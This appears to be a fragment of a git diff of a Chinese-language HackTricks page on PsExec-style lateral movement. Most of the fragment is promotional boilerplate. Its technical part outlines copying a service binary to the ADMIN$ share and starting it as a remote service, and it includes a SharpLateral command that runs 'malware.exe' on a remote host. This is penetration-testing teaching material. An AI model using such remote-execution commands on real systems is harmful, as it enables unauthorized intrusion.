学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 它们是如何工作的
|
||||
|
||||
该过程在以下步骤中概述,说明如何通过 SMB 操纵服务二进制文件以实现对目标机器的远程执行:
|
||||
该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行:
|
||||
|
||||
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
|
||||
2. **在远程机器上创建服务**,指向该二进制文件。
|
||||
|
@ -40,7 +38,7 @@
|
|||
|
||||
[了解更多关于 `sc` 命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
|
||||
|
||||
在此查找更详细的步骤:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
在此处找到更详细的步骤:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**您还可以使用 Windows Sysinternals 二进制文件 PsExec.exe:**
|
||||
|
||||
|
@ -54,20 +52,18 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|